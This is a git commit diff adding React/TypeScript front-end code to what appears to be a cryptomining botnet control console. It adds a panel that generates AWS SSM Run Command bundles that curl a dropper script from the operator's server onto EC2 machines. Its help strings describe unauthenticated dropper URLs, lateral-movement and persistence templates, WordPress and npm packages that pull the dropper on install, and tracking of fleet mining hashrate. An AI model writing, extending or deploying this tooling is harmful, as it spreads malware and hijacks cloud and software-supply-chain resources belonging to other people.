Add ssm_document spread lane for owned EC2 via SSM Run Command.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -469,6 +469,32 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
fetchSSMSpreadBundle: (req: {
|
||||
server_url: string;
|
||||
build_id?: string;
|
||||
campaign?: string;
|
||||
platform?: string;
|
||||
aws_cli_path?: string;
|
||||
}) =>
|
||||
fetchJSON<{ ok: boolean; bundle: {
|
||||
join_lane: string;
|
||||
document: string;
|
||||
run_command: string;
|
||||
create_document_cli: string;
|
||||
manifest_url?: string;
|
||||
shard_urls?: string[];
|
||||
fallback_get_url?: string;
|
||||
} }>('/builder/ssm-spread-bundle', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
|
||||
forgeLaunchTemplate: (req: import('../help/launchTemplateExport').LaunchTemplateExportRequest) =>
|
||||
fetchJSON<import('../help/launchTemplateExport').LaunchTemplateExportResponse>('/forge/launch-template', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(req),
|
||||
}),
|
||||
|
||||
exportSpreadTemplate: async (req: {
|
||||
template: string;
|
||||
server_url: string;
|
||||
@@ -494,6 +520,22 @@ export const api = {
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
exportCloudTemplate: async (req: { template: string; server_url: string; build_id?: string; campaign?: string; bucket?: string; cloudfront_domain?: string; minio_endpoint?: string; region?: string; cluster?: string; namespace_name?: string }) => {
|
||||
const res = await fetch(`${API_BASE}/builder/cloud-template-export`, { method: 'POST', headers: { 'Content-Type': 'application/json', ...authHeaders() }, body: JSON.stringify(req) });
|
||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||
if (!res.ok) throw new Error(await res.text());
|
||||
const blob = await res.blob();
|
||||
const url = URL.createObjectURL(blob);
|
||||
const a = document.createElement('a');
|
||||
a.href = url;
|
||||
a.download = `aetherforge-${req.template}.zip`;
|
||||
a.click();
|
||||
URL.revokeObjectURL(url);
|
||||
},
|
||||
|
||||
testCloudConnection: (req: { kind: string; endpoint: string; bucket?: string }) =>
|
||||
fetchJSON<{ ok: boolean; reachable: boolean; url?: string; status?: number; error?: string }>('/builder/cloud-connection-test', { method: 'POST', body: JSON.stringify(req) }),
|
||||
|
||||
// Path Tracer — WireGuard VPN chain sessions
|
||||
startTrace: (agentIds: string[]) =>
|
||||
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
|
||||
|
||||
60
server/web/src/components/Emberwake/SSMSpreadPanel.tsx
Normal file
60
server/web/src/components/Emberwake/SSMSpreadPanel.tsx
Normal file
@@ -0,0 +1,60 @@
|
||||
import { useCallback, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { spreadTechniqueDocUrl } from '../../help/spreadTechniques';
|
||||
|
||||
export interface SSMSpreadPanelProps {
|
||||
serverBase: string;
|
||||
buildId?: string;
|
||||
campaign?: string;
|
||||
}
|
||||
|
||||
function CopyBlock({ label, text }: { label: string; text: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
return (
|
||||
<div className="ssm-spread-copy-block">
|
||||
<div className="ssm-spread-copy-head">
|
||||
<strong>{label}</strong>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => void navigator.clipboard?.writeText(text).then(() => { setOk(true); setTimeout(() => setOk(false), 1500); })}>
|
||||
{ok ? 'Copied' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
<pre className="ssm-spread-pre">{text}</pre>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function SSMSpreadPanel({ serverBase, buildId = '', campaign = '' }: SSMSpreadPanelProps) {
|
||||
const [awsCli, setAwsCli] = useState('aws');
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [err, setErr] = useState('');
|
||||
const [bundle, setBundle] = useState<Awaited<ReturnType<typeof api.fetchSSMSpreadBundle>>['bundle'] | null>(null);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
setErr(''); setBusy(true);
|
||||
try {
|
||||
const res = await api.fetchSSMSpreadBundle({ server_url: serverBase, build_id: buildId.trim(), campaign: campaign.trim(), aws_cli_path: awsCli.trim(), platform: 'linux' });
|
||||
setBundle(res.bundle);
|
||||
} catch (e) {
|
||||
setErr(e instanceof Error ? e.message : String(e)); setBundle(null);
|
||||
} finally { setBusy(false); }
|
||||
}, [serverBase, buildId, campaign, awsCli]);
|
||||
|
||||
return (
|
||||
<div className="ssm-spread-panel">
|
||||
<p className="emberwake-section-desc">Owned EC2 — SSM Run Command curls erasure manifest/shards from your command deck. <a href={spreadTechniqueDocUrl('ssm-document')} target="_blank" rel="noreferrer">Playbook</a></p>
|
||||
<div className="ssm-spread-controls">
|
||||
<label className="label" htmlFor="ssm-aws-cli">AWS CLI path (optional)</label>
|
||||
<input id="ssm-aws-cli" className="input mono" value={awsCli} onChange={(e) => setAwsCli(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={busy || !serverBase.trim()} onClick={() => void load()}>{busy ? 'Generating…' : 'Generate SSM bundle'}</button>
|
||||
</div>
|
||||
{err ? <p className="form-error">{err}</p> : null}
|
||||
{bundle ? (
|
||||
<div className="ssm-spread-results">
|
||||
<CopyBlock label="SSM document JSON" text={bundle.document} />
|
||||
<CopyBlock label="Run Command invocation" text={bundle.run_command} />
|
||||
<CopyBlock label="create-document.sh" text={bundle.create_document_cli} />
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -105,6 +105,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
crucible_section_spread_templates:
|
||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||
crucible_section_launch_template:
|
||||
'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
@@ -174,6 +176,14 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
|
||||
ew_supply_chain:
|
||||
'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
|
||||
ew_cloud_ecosystem:
|
||||
'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
|
||||
ew_cloud_aws:
|
||||
'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
|
||||
ew_cloud_generic:
|
||||
'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
|
||||
ew_ssm_document:
|
||||
'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
|
||||
ew_public_urls:
|
||||
'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
|
||||
ew_techniques:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { lazy, Suspense, useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
@@ -22,12 +22,15 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import SSMSpreadPanel from '../components/Emberwake/SSMSpreadPanel';
|
||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
const CloudSpreadPanel = lazy(() => import('../components/Spread/CloudSpreadPanel'));
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
@@ -506,6 +509,16 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">Cloud Ecosystem <HelpTip field="ew_cloud_ecosystem" /></span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">AWS + generic</span>
|
||||
</summary>
|
||||
<Suspense fallback={<p className="form-hint">Loading cloud deploy hub…</p>}>
|
||||
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
|
||||
</Suspense>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
@@ -552,6 +565,16 @@ export default function EmberwakePage() {
|
||||
</ul>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Spread methods — AWS SSM Document <HelpTip field="ew_ssm_document" />
|
||||
</span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">Owned EC2</span>
|
||||
</summary>
|
||||
<SSMSpreadPanel serverBase={serverBase} buildId={pinA} campaign={campaign} />
|
||||
</details>
|
||||
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||
aria-labelledby="ew-techniques-heading"
|
||||
|
||||
Reference in New Issue
Block a user